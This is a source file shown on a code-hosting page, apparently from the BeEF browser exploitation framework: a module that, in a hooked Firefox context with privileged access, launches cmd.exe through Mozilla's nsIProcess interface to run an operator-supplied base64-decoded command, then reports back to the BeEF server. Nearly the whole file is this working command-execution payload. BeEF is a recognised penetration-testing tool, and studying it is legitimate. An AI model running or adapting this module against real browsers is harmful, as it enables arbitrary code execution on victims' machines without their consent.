Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/local_host/mozilla_nsiprocess_interface/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var result = "command sent";
10
11
try {
12
var command_str = beef.encode.base64.decode('<%= Base64.strict_encode64(@command_str) %>');
13
var getWorkingDir= Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("Home",Components.interfaces.nsIFile);
14
var lFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
15
var lPath = "C:\\WINDOWS\\system32\\cmd.exe"; // maybe "%WINDIR%\\system32\\cmd.exe" would work?
16
lFile.initWithPath(lPath);
17
var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
18
process.init(lFile);
19
process.run(false,['/c', command_str],2);
20
} catch (e) {
21
result = "an unexpected error occured";
22
}
23
24
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+result);
25
26
});
27
28
29